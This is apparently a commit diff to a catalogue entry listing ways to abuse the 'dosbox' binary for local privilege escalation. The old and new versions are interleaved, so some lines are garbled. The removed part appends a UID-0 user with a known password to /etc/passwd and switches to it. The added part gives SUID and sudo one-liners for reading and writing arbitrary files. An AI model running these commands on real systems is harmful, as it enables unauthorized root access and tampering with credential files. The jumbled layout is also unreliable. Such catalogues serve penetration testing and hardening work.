Generalize dosbox

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Andrea Cardaci 2021-08-31 23:14:27 +02:00 committed by GitHub
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description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
functions: functions:
SUID: file-read:
- description: Please change username to whatever you want and passwod is `toor`. - description: The file content will be displayed in the DOSBox graphical window.
code: | code: |
cp /etc/passwd /tmp/passwd LFILE='\path\to\file_to_read'
echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd dosbox -c 'mount c /' -c "type c:$LFILE"
/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:" - description: The file is copied to a readable location.
su idealphase code: |
LFILE='\path\to\file_to_read'
dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
cat '/tmp/OUTPUT'
file-write:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
suid:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
sudo:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
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